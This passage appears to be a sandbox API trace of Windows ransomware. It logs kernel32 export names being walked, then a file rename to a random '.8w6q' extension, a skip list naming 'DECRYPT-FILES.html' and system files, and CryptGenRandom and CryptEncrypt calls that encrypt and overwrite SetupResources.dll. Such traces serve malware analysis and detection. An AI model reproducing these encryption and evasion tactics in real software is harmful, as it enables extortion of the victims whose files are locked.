(lpString="COPYFILEW") returned 9 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0137.193] lstrlenA (lpString="COPYLZFILE") returned 10 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0137.193] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0137.193] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0137.193] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0137.193] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0137.193] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0137.193] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0137.193] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0137.194] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0137.194] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0137.194] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0137.194] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0137.194] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0137.194] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0137.194] lstrlenA (lpString="CREATEEVENTA") returned 12 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0137.194] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0137.194] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0137.194] lstrlenA (lpString="CREATEEVENTW") returned 12 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0137.194] lstrlenA (lpString="CREATEFIBER") returned 11 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0137.194] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0137.194] lstrlenA (lpString="CREATEFILE2") returned 11 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0137.194] lstrlenA (lpString="CREATEFILEA") returned 11 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0137.194] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0137.194] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0137.194] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0137.194] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0137.194] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0137.194] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0137.194] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0137.194] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0137.195] lstrlenA (lpString="CREATEFILEW") returned 11 [0137.195] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0137.195] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0137.195] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0137.195] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0137.195] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0137.195] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0137.195] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0137.195] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0137.195] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0137.195] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0137.195] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0137.195] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0137.195] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0137.195] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0137.195] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0137.195] lstrlenA (lpString="CREATEJOBSET") returned 12 [0137.195] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0137.195] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0137.195] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0137.195] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0137.195] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0137.195] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0137.195] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0137.195] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0137.196] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0137.196] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0137.196] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0137.196] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0137.196] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0137.196] lstrlenA (lpString="CREATEPIPE") returned 10 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0137.196] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0137.196] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0137.196] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0137.196] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0137.196] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0137.196] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0137.196] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0137.196] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0137.196] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0137.196] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0137.196] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0137.197] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0137.197] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0137.197] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0137.197] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0137.197] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0137.197] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0137.197] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0137.197] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0137.197] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0137.197] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0137.197] lstrlenA (lpString="CREATETHREAD") returned 12 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0137.197] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0137.197] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0137.197] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0137.197] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0137.197] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0137.197] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0137.197] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0137.197] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0137.198] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.8w6q") returned 49 [0137.198] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.8w6q" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.8w6q"), dwFlags=0x0) returned 1 [0137.198] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.199] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.199] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.199] FindNextFileW (in: hFindFile=0x3b81300, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0137.199] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0137.199] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0137.199] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0137.200] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0137.200] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0137.200] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0137.200] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0137.200] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0137.200] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0137.200] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0137.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\") returned 27 [0137.200] lstrlenW (lpString="SetupResources.dll") returned 18 [0137.200] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1053\\" | out: lpString1="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0137.200] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1053\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" [0137.200] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0137.200] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0137.200] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=17752) returned 1 [0137.200] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0137.200] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0137.727] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0137.727] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0137.727] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0137.727] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0137.728] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0137.728] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.728] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0137.729] CloseHandle (hObject=0x5f8) returned 1 [0137.729] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.729] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0137.729] CloseHandle (hObject=0x0) returned 0 [0137.729] CloseHandle (hObject=0x5f4) returned 1 [0137.730] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.731] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.731] GetTickCount () returned 0x37c26 [0137.731] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0137.731] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0137.731] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0137.731] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0137.732] lstrlenA (lpString="kernel32.dll") returned 12 [0137.732] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0137.732] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0137.732] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0137.732] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0137.732] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0137.732] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0137.732] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0137.732] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0137.732] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0137.732] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0137.732] lstrlenA (lpString="ADDATOMA") returned 8 [0137.732] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0137.732] lstrlenA (lpString="ADDATOMW") returned 8 [0137.732] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0137.732] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0137.732] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0137.732] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0137.732] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0137.732] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0137.732] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0137.732] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0137.732] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0137.732] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0137.732] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0137.732] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0137.732] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0137.732] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0137.732] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0137.733] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0137.733] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0137.733] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0137.733] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0137.733] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0137.733] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0137.733] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0137.733] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0137.733] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0137.733] lstrlenA 